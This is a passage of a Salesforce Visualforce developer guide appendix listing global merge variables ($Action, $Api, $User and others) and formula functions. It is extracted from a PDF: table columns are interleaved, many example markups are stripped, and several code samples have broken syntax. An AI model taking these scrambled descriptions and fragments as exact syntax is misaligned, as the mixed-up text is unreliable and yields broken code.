type to use when referencing standard Salesforce actions such as displaying the Accounts tab home page, creating new accounts, editing accounts, and deleting accounts. Use Use dot notation to specify an object and an action, for example, $Action.Account.New Example The following markup adds a link to create a new account: Create New Account 476 Appendix A: Global Variables, Functions, and Expression Operators Global Variables The following markup adds a link to download an attachment: Download Now! Valid Values for the $Action Global Variable The following table lists the actions you can reference with the $Action global variable and the objects on which you can perform those actions. All objects support basic actions, such as new, clone, view, edit, list, and delete. The $Action global also references actions available on many standard objects. The values available in your organization may differ depending on the features you enable. Value Description Objects Accept Accept a record. • • • • • • • • • Activate Activate a contract. Contract Add Add a product to a price book. Product2 AddCampaign Add a member to a campaign. Campaign AddInfluence Add a campaign to an opportunity's list Opportunity of influential campaigns. AddProduct Add a product to price book. OpportunityLineItem AddToCampaign Add a contact or lead to a campaign. • • AddToOutlook Add an event to Microsoft Outlook. Event AdvancedSetup Launch campaign advanced setup. Campaign AltavistaNews Launch www.altavista.com/news/. • • Cancel Cancel an event. Event CaseSelect Specify a case for a solution. Solution Ad group Case Event Google campaign Keyword Lead Search phrase SFGA version Text ad Contact Lead Account Lead 477 Appendix A: Global Variables, Functions, and Expression Operators Global Variables ChangeOwner Change the owner of a record. • • • • • • • • • • • • • Account Ad group Campaign Case Contact Contract Google campaign Keyword Leads Opportunities Search phrase SFGA version Text ad ChangeStatus Change the status of a case. • • Case Lead ChoosePricebook Choose the price book to use. OpportunityLineItem Clone Clone a record. • • • • • • • • • • • • • • • • • CloneAsChild Create a related case with the details of Case a parent case. CloseCase Close a case. Convert Create a new account, contact, and Lead opportunity using the information from a lead. ConvertLead Convert a lead to a campaign member. Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Product Search phrase SFGA version Text ad Custom objects Case Campaign Member 478 Appendix A: Global Variables, Functions, and Expression Operators Global Variables Create_Opportunity Create an opportunity based on a campaign member. Campaign Member Decline Decline an event. Event Delete Delete a record. • • • • • • • • • • • • • • • • • • • • Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Task Text ad Custom objects DeleteSeries Delete a series of events or tasks. • • Event Task DisableCustomerPortal Disable a Customer Portal user. Contact DisableCustomerPortalAccount Disable a Customer Portal account. Account DisablePartnerPortal Disable a Partner Portal user. Contact DisablePartnerPortalAccount Disable a Partner Portal account. Account Download Download an attachment. • • Attachment Document Edit Edit a record. • • • • • • • • • • Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword 479 Appendix A: Global Variables, Functions, and Expression Operators Global Variables • • • • • • • • • • Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Task Text ad Custom objects EditAllProduct Edit all products in a price book. OpportunityLineItem EnableAsPartner Designate an account as a partner account. Account EnablePartnerPortalUser Enable a contact as a Partner Portal user. Contact EnableSelfService Enable a contact as a Self-Service user. Contact FindDup Display duplicate leads. Lead FollowupEvent Create a follow-up event. Event FollowupTask Create a follow-up task. Event HooversProfile Display a Hoovers profile. • • IncludeOffline Include an account record in Connect Offline. Account GoogleMaps Plot an address on Google Maps. • • • Account Contact Lead GoogleNews Display www.google.com/news. • • • Account Contact Lead GoogleSearch Display www.google.com. • • • Account Contact Lead List List records of an object. • • • • • • • Ad group Campaign Case Contact Contract Google campaign Keyword Account Lead 480 Appendix A: Global Variables, Functions, and Expression Operators Global Variables • • • • • • • • Lead Opportunity Product Search phrase SFGA version Solution Text ad Custom objects LogCall Log a call. Activity MailMerge Generate a mail merge. Activity ManageMembers Launch the Manage Members page. Campaign MassClose Close multiple cases. Case Merge Merge contacts. Contact New Create a new record. • • • • • • • • • • • • • • • • • • NewTask Create a task. Task RequestUpdate Request an update. • • SelfServSelect Register a user as a Self Service user. Solution SendEmail Send an email. Activity SendGmail Open a blank email in Gmail. • • Sort Sort products in a price book. OpportunityLineItem Activity Ad group Asset Campaign Case Contact Contract Event Google campaign Keyword Lead Opportunity Search phrase SFGA version Solution Task Text ad Custom objects Contact Activity Contact Lead 481 Appendix A: Global Variables, Functions, and Expression Operators Global Variables Share Share a record. • • • • • • • • • • • • • Account Ad group Campaign Case Contact Contract Google campaign Keyword Lead Opportunity Search phrase SFGA version Text ad Submit for Approval Submit a record for approval. • • • • • • • • • • • • • • • • • • • • • Account Activity Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Task Text ad Tab Access the tab for an object. • • • • • • • • • Ad group Campaign Case Contact Contract Google campaign Keyword Lead Opportunity 482 Appendix A: Global Variables, Functions, and Expression Operators Global Variables • • • • • Product Search phrase SFGA version Solution Text ad Activity Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Text ad Custom objects View View a record. • • • • • • • • • • • • • • • • • • • • ViewAllCampaignMembers List all campaign members. Campaign ViewCampaignInfluenceReport Display the Campaigns with Influenced Campaign Opportunities report. ViewPartnerPortalUser List all Partner Portal users. Contact ViewSelfService List all Self-Service users. Contact YahooMaps Plot an address on Yahoo! Maps. • • • YahooWeather Display Contact Account Contact Lead http://weather.yahoo.com/. $Api Description A global merge field type to use when referencing API URLs. Use Use dot notation to specify an API URL from either the Enterprise or Partner WSDL, or to return the session ID. 483 Appendix A: Global Variables, Functions, and Expression Operators Example • Global Variables {!$Api.Enterprise_Server_URL__xxx}: The Enterprise WSDL SOAP endpoint where xxx represents the version of the API. For example, {!$Api.Enterprise_Server_URL_260} is the expression for the endpoint for version 26.0 of the API. • {!$Api.Partner_Server_URL__xxx}: The Partner WSDL SOAP endpoint where xxx represents the version of the API. {!$Api.Partner_Server_URL_250} is the expression for the endpoint for version 25.0 of the API. • {!$Api.Session_ID}: The session ID. $Component Description A global merge field type to use when referencing a Visualforce component. Use Each component in a Visualforce page has its own Id attribute. When the page is rendered, this attribute is the same as the Document Object Model (DOM) ID. Use $Component.Id in JavaScript to reference a specific component on a page, where Id is the Id of the component being referenced. Example The following JavaScript method references a component named msgpost in a Visualforce page: function beforeTextSave() { document.getElementById('{!$Component. msgpost}').value = myEditor.getEditorHTML(); } The page markup that follows shows the component to which msgpost refers: is great. If your component is nested, you must declare the entire component tree. For example, if your page looks like this: Heya! 484 Appendix A: Global Variables, Functions, and Expression Operators Global Variables Then you can refer to the component in a function like this: document.getElementById( "{!$Component.theBlock.theSection.theSectionItem.theText}") $ComponentLabel Description A global merge field to use when referencing the label of an inputField component on a Visualforce page that is associated with a message. Use Return the label of an inputField component that is associated with a message. Example $CurrentPage Description A global merge field type to use when referencing the current Visualforce page or page request. Use Use this global in a Visualforce page to reference the current page name ($CurrentPage.Name) or the URL of the current page ($CurrentPage.URL). Use $CurrentPage.parameters.parameterName to reference page request parameters and values, where parameterName is the request parameter being referenced. Example You belong to the {!account.name} account.
You're also a nice person.
$Label Description A global merge field type to use when referencing a custom label in a Visualforce page. Use Use this expression in a Visualforce page to access a custom label. When the application server constructs the page to be presented to the end-user’s browser, 485 Appendix A: Global Variables, Functions, and Expression Operators Global Variables the value returned depends upon the language setting of the contextual user. The value returned is one of the following, in order of precedence: 1. the local translation’s text 2. the packaged translation’s text 3. the master label’s text Example $Label.Site Description A global merge field type to use when referencing a standard Sites label in a Visualforce page. Like all standard labels, the text will display based on the user’s language and locale. Use Use this expression in a Visualforce page to access a standard Sites label. When the application server constructs the page to be presented to the end-user’s browser, the value returned depends on the language and locale of the user. Salesforce provides the following labels: Label Message authorization_required Authorization Required bandwidth_limit_exceeded Bandwidth Limit Exceeded change_password Change Password change_your_password Change Your Password click_forget_password If you have forgotten your password, click Forgot Password to reset it. community_nickname Nickname confirm_password Confirm Password down_for_maintenance {0} is down for maintenance email Email email_us email us enter_password Did you forget your password? Please enter your username below. error Error: {0} error2 Error file_not_found File Not Found 486 Appendix A: Global Variables, Functions, and Expression Operators Global Variables Label Message forgot_password Forgot Password forgot_password_confirmation Forgot Password Confirmation forgot_your_password_q Forgot Your Password? get_in_touch Please {1} if you need to get in touch. go_to_login_page Go to Login Page img_path /img/sites in_maintenance Down For Maintenance limit_exceeded Limit Exceeded login Login login_button Login login_or_register_first You must first log in or register before accessing this page. logout Logout new_password New Password new_user_q New User? old_password Old Password page_not_found Page Not Found page_not_found_detail Page Not Found: {0} password Password passwords_dont_match Passwords did not match. powered_by Powered by register Register registration_confirmation Registration Confirmation site_login Site Login site_under_construction Site Under Construction sorry_for_inconvenience Sorry for the inconvenience. sorry_for_inconvenience_back_shortly Sorry for the inconvenience. We'll be back shortly. stay_tuned Stay tuned. submit Submit temp_password_sent An email has been sent to you with your temporary password. thank_you_for_registering Thank you for registering. An email has been sent to you with your temporary password. 487 Appendix A: Global Variables, Functions, and Expression Operators Global Variables Label Message under_construction {0} is under construction user_registration New User Registration username Username verify_new_password Verify New Password Example $ObjectType Description A global merge field type to use when referencing standard or custom objects such as accounts, cases, or opportunities as well as the value of a field on that object. Use Use dot notation to specify an object, such as {!$ObjectType.Case}. Optionally, select a field on that object using the following syntax: {!$ObjectType.Role_Limit__c.Fields.Limit__c}. Example The following example retrieves the label for the Account Name field: {!$ObjectType.Account.Fields.Name.Label} You can also use dynamic references to retrieve information about an object through $ObjectType. For example, {!$ObjectType.Account.Fields['Name'].Type} $Organization Description Use A global merge field type to use when referencing information about your company profile. Use organization merge fields to reference your organization’s city, fax, ID, or other details. Use dot notation to access your organization’s information. For example: {!$Organization.Street} {!$Organization.State} The organization merge fields get their values from whatever values are currently stored as part of your company information in Salesforce. 488 Appendix A: Global Variables, Functions, and Expression Operators Global Variables Note that {!$Organization.UiSkin} is a picklist value, and so should be used with picklist functions such as ISPICKVAL() in custom fields, validation rules, and Visualforce expressions. Example Values accessible using the $Organization global variable include: {!$Organization.Id} {!$Organization.Name} {!$Organization.Division} {!$Organization.Street} {!$Organization.City} {!$Organization.State} {!$Organization.PostalCode} {!$Organization.Country} {!$Organization.Fax} {!$Organization.Phone} {!$Organization.GoogleAppsDomain} {!$Organization.UiSkin} $Page Description A global merge field type to use when referencing a Visualforce page. Use Use this expression in a Visualforce page to link to another Visualforce page. Example

Linked

This is a link to another page.
$Profile Description A global merge field type to use when referencing information about the current user’s profile. Use profile merge fields to reference information about the user’s profile such as license type or name. Use Use dot notation to access your organization’s information. Note that you can’t use the following $Profile values in Visualforce: • • LicenseType UserType 489 Appendix A: Global Variables, Functions, and Expression Operators Global Variables Example {!$Profile.Id} {!$Profile.Name} $Resource Description A global merge field type to use when referencing an existing static resource by name in a Visualforce page. You can also use resource merge fields in URLFOR functions to reference a particular file in a static resource archive. Use Use {!$Resource} to reference an existing static resource. The format is {!$Resource.nameOfResource}, such as {!$Resource.TestImage}. Examples The Visualforce component below references an image file that was uploaded as a static resource and given the name TestImage: To reference a file in an archive (such as a .zip or .jar file), use the URLFOR function. Specify the static resource name that you provided when you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second. For example: You can also use dynamic references to reference static resources. For example, {!$Resource[appLogo]}, assuming there is an appLogo property or getAppLogo() method in your page’s controller. $SControl Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Description A global merge field type to use when referencing an existing custom s-control by name. This merge field type results in a URL to a page where the s-control executes. Use Use dot notation to access an existing s-control by its name. Examples The following example shows how to link to an s-control named HelloWorld in a Visualforce page: Open the HelloWorld s-control 490 Appendix A: Global Variables, Functions, and Expression Operators Global Variables Note that if you simply want to embed an s-control in a page, you can use the tag without the $SControl merge field. For example: $Setup Description A global merge field type to use when referencing a custom setting of type “hierarchy”. Use Use $Setup to access hierarchical custom settings and their field values using dot notation. For example, $Setup.App_Prefs__c.Show_Help_Content__c. Hierarchical custom settings allow values at any of three different levels: 1. Organization, the default value for everyone 2. Profile, which overrides the Organization value 3. User, which overrides both Organization and Profile values Visualforce automatically determines the correct value for this custom setting field based on the running user’s current context. Note that custom settings of type “list” are not available on Visualforce pages using this global variable. You can access “list” type custom settings in Apex. Example The following example illustrates how to conditionally display an extended help message for an input field, depending on the user’s preference: Enter the height for your workstation in inches, measured from the floor to top of the work surface. ... If the organization level for the custom setting is set to true, users see the extended help message by default. If an individual prefers to not see the help messages, they can set their custom setting to false, to override the organization (or profile) value. $Site Description A global merge field type to use when referencing information about the current Force.com site. 491 Appendix A: Global Variables, Functions, and Expression Operators Use Global Variables Use dot notation to access information about the current Force.com site. Note that only the following site fields are available: Merge Field Description $Site.Name Returns the API name of the current site. $Site.Domain Returns the Force.com domain name for your organization. $Site.CustomWebAddress Returns the value of the Custom Web Address field for the current site. $Site.OriginalUrl Returns the original URL for this page if it’s a designated error page for the site; otherwise, returns null. $Site.CurrentSiteUrl Returns the value of the site URL for the current request (for example, http://myco.com/ or https://myco.force.com/prefix/). $Site.LoginEnabled Returns true if the current site is associated with an active login-enabled portal; otherwise returns false. $Site.RegistrationEnabled Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false. $Site.IsPasswordExpired For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false. $Site.AdminEmailAddress Returns the value of the Site Contact field for the current site. $Site.Prefix Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prefix. Returns null if the prefix is not defined, or if the page was accessed using a custom Web address. $Site.Template Returns the template name associated with the current site; returns the default template if no template has been designated. $Site.ErrorMessage Returns an error message for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string. $Site.ErrorDescription Returns the error description for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string. $Site.AnalyticsTrackingCode The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site. 492 Appendix A: Global Variables, Functions, and Expression Operators Example Global Variables The following example shows how to use the $Site.Template merge field:



$System.OriginDateTime Description A global merge field that represents the literal value of 1900-01-01 00:00:00. Use Use this global variable when performing date/time offset calculations, or to assign a literal value to a date/time field. Example The following example calculates the number of days that have passed since January 1, 1900: {!NOW() - $System.OriginDateTime} $User Description A global merge field type to use when referencing information about the current user. User merge fields can reference information about the user such as alias, title, and ID. Use Use dot notation to access the current user’s information. For example: {!IF (CONTAINS($User.Alias, Smith) True, False)} Example The following example displays the current user’s company name, as well as the status of the current user (which returns a Boolean value).

Congratulations

493 Appendix A: Global Variables, Functions, and Expression Operators Global Variables This is your new Apex Page

The current company name for this user is: {!$User.CompanyName}

Is the user active? {!$User.isActive}

$User.UITheme and $User.UIThemeDisplayed Description These global merge fields identify the Salesforce look and feel a user sees on a given Web page. The difference between the two variables is that $User.UITheme returns the look and feel the user is supposed to see, while $User.UIThemeDisplayed returns the look and feel the user actually sees. For example, a user may have the permissions to see the new user interface theme look and feel, but if they are using a browser that doesn’t support that look and feel, for example, Internet Explorer 6, $User.UIThemeDisplayed returns a different value. Use Use these variables to identify the CSS used to render Salesforce web pages to a user. Both variables return one of the following values: • Theme1—Obsolete Salesforce theme • Theme2—Salesforce theme used prior to Spring ’10 • PortalDefault—Salesforce Customer Portal theme • Webstore—Salesforce AppExchange theme • Theme3—Current Salesforce theme, introduced during Spring ’10 Example The following example shows how you can render different layouts based on a user’s theme: // this is the old theme... //this is the new theme ... $UserRole Description A global merge field type to use when referencing information about the current user’s role. Role merge fields can reference information such as role name, description, and ID. 494 Appendix A: Global Variables, Functions, and Expression Operators Use Functions Use dot notation to access information about the current user’s role. Note that you can’t use the following $UserRole values in Visualforce: • • • • CaseAccessForAccountOwner ContactAccessForAccountOwner OpportunityAccessForAccountOwner PortalType Example {!$UserRole.LastModifiedById} See Also: Dynamic References to Global Variables Using JavaScript to Reference Components Styling Visualforce Pages Functions You can use the following functions in your Visualforce pages. Date and Time Functions Note: The date/time data type might not evaluate correctly in formula expressions for Visualforce pages with an API version less than 20.0. It may be incorrectly interpreted as just a date type. Function Description Use DATE Returns a date value from year, month, and day values you enter. Salesforce displays an error on the detail page if the value of the DATE function in a formula field is an invalid date, such as February 29 in a non-leap year. DATE(year,month,day) and replace year with a four-digit year, month with a two-digit month, and day with a Returns a date value for a date/time or text expression. DATEVALUE(expression) and replace expression with a date/time or text DATEVALUE two-digit day. value, merge field, or expression. DATETIMEVALUE Returns a year, month, day and GMT time value. DATETIMEVALUE(expression) and replace expression with a date/time or text value, merge field, or expression. DAY Returns a day of the month in the form DAY(date) and replace date with a of a number between 1 and 31. date field or value such as TODAY(). 495 Appendix A: Global Variables, Functions, and Expression Operators Functions Function Description Use MONTH Returns the month, a number between 1 (January) and 12 (December) in number format of a given date. MONTH(date) and replace date with Returns a date/time representing the current moment. NOW() NOW the field or expression for the date containing the month you want returned. The NOW function returns the current date and time in the GMT timezone. {!NOW()} For example: Today's date and time is: {!NOW()} produces the following: Today's date and time is: Mon Jul 21 16:12:10 GMT 2008 Tips • • • • TODAY Do not remove the parentheses. Keep the parentheses empty. They do not need to contain a value. Use addition or subtraction operators and a number with a NOW function to return a different date and time. For example {!NOW() +5} calculates the date and time five days ahead of now. If you prefer to use a date time field, use TODAY. Returns the current date as a date data type. TODAY() The TODAY function returns the current day. For example, The following markup: Today's date is: {!TODAY()} produces the following output: Today's date is Mon Jul 21 00:00:00 GMT 2008 Tips • • • Do not remove the parentheses. Keep the parentheses empty. They do not need to contain a value. Use addition and subtraction operators with a TODAY function and 496 Appendix A: Global Variables, Functions, and Expression Operators Function Description • YEAR Functions Use numbers to return a date. For example {!TODAY() +7} calculates the date seven days ahead of now. If you prefer to use a date time field, use NOW. Returns the four-digit year in number format of a given date. YEAR(date) and replace date with the Function Description Use BLANKVALUE Determines if an expression has a value and returns a substitute expression if it does not. If the expression has a value, returns the value of the expression. BLANKVALUE(expression, substitute_expression) and replace expression with the expression you field or expression that contains the year you want returned. Informational Functions want evaluated; replace substitute_expression with the value you want to replace any blank values. ISBLANK Determines if an expression has a value ISBLANK(expression) and replace and returns TRUE if it does not. If it expression with the expression you contains a value, this function returns want evaluated. FALSE. NULLVALUE Determines if an expression is null (blank) and returns a substitute expression if it is. If the expression is not blank, returns the value of the expression. NULLVALUE(expression, substitute_expression) and replace expression with the expression you want to evaluate; replace substitute_expression with the value you want to replace any blank values. PRIORVALUE Returns the previous value of a field. PRIORVALUE(field) Function Description Use AND Returns a TRUE response if all values are true; returns a FALSE response if one or more values are false. AND(logical1,logical2,...) and replace logical1,logical2,... with Logical Functions the values that you want evaluated. The following markup displays the word “Small” if the price and quantity are less 497 Appendix A: Global Variables, Functions, and Expression Operators Function Description Functions Use than one. This field is blank if the asset has a price or quantity greater than one. {!IF(AND(Price < 1, Quantity < 1), "Small", null)} You can use && instead of the word AND in your Visualforce markup. For example, AND(Price < 1, Quantity < 1) is the same as (Price < 1) && (Quantity < 1). • CASE IF Make sure the value_if_true and value_if_false expressions have the same data type. Checks a given expression against a series of values. If the expression is equal to a value, returns the corresponding result. If it is not equal to any values, it returns the else_result. CASE(expression,value1, result1, value2, result2,..., else_result) and replace expression with the field or value you Determines if expressions are true or false. Returns a given value if true and another value if false. IF(logical_test, value_if_true, value_if_false) and replace logical_test with the want compared to each specified value. Replace each value and result with the value that must be equivalent to return the result entry. Replace else_result with the value you want returned when the expression does not equal any values. expression you want evaluated; replace The following markup returns “Private” value_if_true with the value you if the opportunity IsPrivate field is set to true; it returns “Not Private” if the want returned if the expression is true; replace value_if_false with the value field is set to false. you want returned if the expression is false. {!IF(opportunity.IsPrivate, "Private", "Not Private")} ISCHANGED Compares the value of a field to the ISCHANGED(field) and replace field previous value and returns TRUE if the with the name of the field you want to values are different. If the values are the compare. same, this function returns FALSE. ISNEW Checks if the formula is running during ISNEW() the creation of a new record and returns TRUE if it is. If an existing record is being updated, this function returns FALSE. 498 Appendix A: Global Variables, Functions, and Expression Operators Functions Function Description Use ISNUMBER Determines if a text value is a number ISNUMBER(text) and replace text and returns TRUE if it is. Otherwise, it with the merge field name for the text returns FALSE. field. NOT Returns FALSE for TRUE and TRUE NOT(logical) and replace logical for FALSE. with the expression that you want evaluated. The following markup returns the value of ReportAcct if the account IsActive field is set to false. It returns the value of SaveAcct if IsActive is set to true. {!IF(NOT(Account.IsActive)ReportAcct, SaveAcct)} You can use ! instead of the word NOT in your Visualforce markup. For example, NOT(Account.IsActive) is the same as !Account.IsActive). OR Determines if expressions are true or OR(logical1, logical2...) and false. Returns TRUE if any expression replace any number of logical references is true. Returns FALSE if all expressions with the expressions you want evaluated. are false. The following markup will return the value of VerifyAcct if either account field IsActive__c or IsNew__c is set to true. {!IF(OR(Account.IsActive__c, Account.IsNew__C)) VerifyAcct, CloseAcct)} You can use || instead of the word OR in your Visualforce markup. For example, OR(Price < 1, Quantity < 1) is the same as ((Price < 1) || (Quantity < 1)). Math Functions Function Description Use ABS Calculates the absolute value of a number. The absolute value of a number is the number without its positive or negative sign. ABS(number) and replace number with a merge field, expression, or other numeric value that has the sign you want removed. 499 Appendix A: Global Variables, Functions, and Expression Operators Functions Function Description Use CEILING Rounds a number up to the nearest integer. CEILING(number) and replace number with the field or expression you want rounded. EXP Returns a value for e raised to the power EXP(number) and replace number with of a number you specify. a number field or value such as 5. FLOOR Returns a number rounded down to the FLOOR(number) and replace number nearest integer. with a number field or value such as 5.245. LN Returns the natural logarithm of a LN(number) and replace number with specified number. Natural logarithms are the field or expression for which you based on the constant e value of want the natural logarithm. 2.71828182845904. LOG Returns the base 10 logarithm of a number. LOG(number) and replace number with the field or expression from which you want the base 10 logarithm calculated. MAX Returns the highest number from a list MAX(number, number,...) and of numbers. replace number with the fields or expressions from which you want to retrieve the highest number. MIN Returns the lowest number from a list of MIN(number, number,...) and numbers. replace number with the fields or expressions from which you want to retrieve the lowest number. MOD Returns a remainder after a number is divided by a specified divisor. MOD(number, divisor) and replace number with the field or expression you want divided; replace divisor with the number to use as the divisor. ROUND Returns the nearest number to a number ROUND(number, num_digits) and you specify, constraining the new number replace number with the field or by a specified number of digits. expression you want rounded; replace num_digits with the number of decimal places you want to consider when rounding. SQRT Returns the positive square root of a given number. SQRT(number) and replace number with the field or expression you want computed into a square root. 500 Appendix A: Global Variables, Functions, and Expression Operators Functions Text Functions Function Description Use BEGINS Determines if text begins with specific BEGINS(text, compare_text) and characters and returns TRUE if it does. replace text, compare_text with the Returns FALSE if it does not. characters or fields you want to compare. The following markup will return true if the opportunity StageName field begins with the string “Closed”. Standard stage names “Closed Won” and “Closed Lost” would both return true. {!BEGINS(opportunity.StageName, 'Closed')} This function is case sensitive so be sure your compare_text value has the correct capitalization. Also, this function only works with text, not with numbers or other data types. BR Inserts a line break in a string of text. BR() CONTAINS Compares two arguments of text and returns TRUE if the first argument contains the second argument. If not, returns FALSE. CONTAINS(text, compare_text) and replace text with the text that contains the value of compare_text. The following example checks the content of a custom text field named Product_Type and returns “Parts” for any product with the word “part” in it. Otherwise, it returns “Service.” {!IF(contains(opportunity.Product_Type__c, "part"), "Parts", "Service")} This function is case sensitive so be sure your compare_text value has the correct capitalization. FIND Returns the position of a string within a FIND(search_text, text[, string of text represented as a number. start_num]) and replace search_text with the string you want to find, replace text with the field or expression you want to search, and replace start_num with the number of the character from which to start searching from left to right. 501 Appendix A: Global Variables, Functions, and Expression Operators Functions Function Description Use GETSESSIONID Returns the user’s session ID. GETSESSIONID() HTMLENCODE Encodes text and merge field values for {!HTMLENCODE(text)} and replace use in HTML by replacing characters text with the merge field or text string that are reserved in HTML, such as the that contains the reserved characters. greater-than sign (>), with HTML entity equivalents, such as >. ISPICKVAL Determines if the value of a picklist field ISPICKVAL(picklist_field, is equal to a text literal you specify. text_literal) and replace picklist_field with the merge field name for the picklist; replace text_literal with the picklist value in quotes. text_literal cannot be a merge field or the result of a function. JSENCODE Encodes text and merge field values for {!JSENCODE(text)} and replace text use in JavaScript by inserting escape with the merge field or text string that characters, such as a backslash (\), before contains the unsafe JavaScript characters. unsafe JavaScript characters, such as the apostrophe ('). JSINHTMLENCODE Encodes text and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents. {!JSINHTMLENCODE(text)} and replace text with the merge field or text Returns the specified number of characters from the beginning of a text string. LEFT(text, num_chars) and replace text with the field or expression you want returned; replace num_chars with LEFT string that contains the unsafe JavaScript characters. the number of characters from the left you want returned. LEN Returns the number of characters in a specified text string. {!LEN(Account.name)} returns the LEN(text) and replace text with the field or expression whose length you want returned. number of characters in the Account name. LEN counts spaces as well as characters. {!LEN("The Spot")} returns 8. LOWER Converts all letters in the specified text string to lowercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided. LOWER(text, [locale]) and replace text with the field or text you wish to convert to lowercase, and locale with the optional two-character ISO language code or five-character locale code, if available. 502 Appendix A: Global Variables, Functions, and Expression Operators Function Description LPAD Inserts characters you specify to the left-side of a text string. Functions Use LPAD(text, padded_length[, pad_string]) and replace the variables: • • • text is the field or expression you want to insert characters to the left of. padded_length is the number of total characters in the text that will be returned. pad_string is the character or characters that should be inserted. pad_string is optional and defaults to a blank space. If the value in text is longer than pad_string, text is truncated to the size of padded_length. MID Returns the specified number of characters from the middle of a text string given the starting position. MID(text, start_num, num_chars) and replace text with the field or expression to use when returning characters; replace start_num with the number of characters from the left to use as a starting position; replace num_chars with the total number of characters to return. RIGHT Returns the specified number of RIGHT(text, num_chars) and characters from the end of a text string. replace text with the field or expression you want returned; replace num_chars with the number of characters from the right you want returned. RPAD Inserts characters that you specify to the RPAD(text, padded_length[, right-side of a text string. 'pad_string']) and replace the variables: • • • text is the field or expression after which you want to insert characters. pad_length is the number of total characters in the text string that will be returned. pad_string is the character or characters that should be inserted. pad_string is optional and defaults to a blank space. If the value in text is longer than pad_string, text is truncated to the size of padded_length. 503 Appendix A: Global Variables, Functions, and Expression Operators Functions Function Description SUBSTITUTE Substitutes new text for old text in a text SUBSTITUTE(text, old_text, string. new_text) and replace text with the field or value for which you want to substitute values, old_text with the text you want replaced, and new_text with the text you want to replace the old_text. TEXT Converts a percent, number, date, date/time, or currency type field into text anywhere formulas are used. Also, converts picklist values to text in validation rules, formula fields, and field updates. TEXT(value) and replace value with Removes the spaces and tabs from the beginning and end of a text string. TRIM(text) and replace text with the Converts all letters in the specified text string to uppercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided. UPPER(text, [locale]) and replace text with the field or expression you TRIM UPPER Use the field or expression you want to convert to text format. Avoid using any special characters besides a decimal point (period) or minus sign (dash) in this function. field or expression you want to trim. wish to convert to uppercase, and locale with the optional two-character ISO language code or five-character locale code, if available. URLENCODE Encodes text and merge field values for {!URLENCODE(text)} and replace use in URLs by replacing characters that text with the merge field or text string are illegal in URLs, such as blank spaces, that you want to encode. with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are replaced with %20, and exclamation points are replaced with %21. VALUE Converts a text string to a number. VALUE(text) and replace text with the field or expression you want converted into a number. Advanced Functions Function Description Use GETRECORDIDS Returns an array of strings in the form {!GETRECORDIDS(object_type)} of record IDs for the selected records in and replace object_type with a a list, such as a list view or related list. reference to the custom or standard object for the records you want to retrieve. INCLUDE Returns content from an s-control snippet. Use this function to reuse common code in many s-controls. {!INCLUDE(source, [inputs])} and replace source with the s-control snippet you want to reference. Replace 504 Appendix A: Global Variables, Functions, and Expression Operators Function Description Functions Use inputs with any information you need to pass to the snippet. LINKTO Returns a relative URL in the form of a {!LINKTO(label, target, id, link (href and anchor tags) for a custom [inputs], [no override]} and s-control or Salesforce page. replace label with the text for the link, target with the URL, and id with a reference to the record. Inputs are optional and can include any additional parameters you want to add to the link. The no override argument is also optional and defaults to “false.” It applies to targets for standard Salesforce pages such as $Action.Account.New. Replace no override with “true” when you want to display a standard Salesforce page regardless of whether you have defined an override for it elsewhere. REGEX Compares a text field to a regular expression and returns TRUE if there is a match. Otherwise, it returns FALSE. A regular expression is a string used to describe a format of a string according to certain syntax rules. REGEX(text, regex_text) and replace text with the text field, and regex_text with the regular expression you want to match. REQUIRESCRIPT Returns a script tag with source for a {!REQUIRESCRIPT(url)} and replace URL you specify. Use this function when url with the link for the script that is referencing the Force.com AJAX Toolkit required. or other JavaScript toolkits. URLFOR Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource archive in a Visualforce page. {!URLFOR(target, id, [inputs], [no override])} and replace target with the URL or action, s-control, or static resource merge variable, id with a reference to the record, and inputs with This can be used to return a reference to any optional parameters. The no a file contained in a static resource override argument is also optional and archive (such as a .zip or .jar file). defaults to “false.” It applies to targets for {!URLFOR(resource, path)} Replace resource with the name of the standard Salesforce pages such as $Action.Account.New. Replace no static resource archive expressed as a override with “true” when you want to merge variable (for example, $Resource.resourceName), andpath display a standard Salesforce page regardless of whether you have defined with the local path to the file in the an override for it elsewhere. archive that you want to reference. To access a Visualforce page, simple enter the name of your page preceeded by an “apex/.” For example, if your Visualforce page is named myTestPage, you would use {!URLFOR("apex/myTestPage"}. 505 Appendix A: Global Variables, Functions, and Expression Operators Functions Function Description Use VLOOKUP Returns a value by looking up a related value on a custom object similar to the VLOOKUP() Excel function. VLOOKUP(field_to_return, field_on_lookup_object, lookup_value) and replace field_to_return with the field that contains the value you want returned, field_on_lookup_object with the field on the related object that contains the value you want to match, and lookup_value with the value you want to match. Encoding Functions Function Description HTMLENCODE Encodes text and merge field values for {!HTMLENCODE(text)} and replace use in HTML by replacing characters text with the merge field or text string that are reserved in HTML, such as the that contains the reserved characters. greater-than sign (>), with HTML entity equivalents, such as >. JSENCODE Encodes text and merge field values for {!JSENCODE(text)} and replace text use in JavaScript by inserting escape with the merge field or text string that characters, such as a backslash (\), before contains the unsafe JavaScript characters. unsafe JavaScript characters, such as the apostrophe ('). JSINHTMLENCODE Encodes text and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe 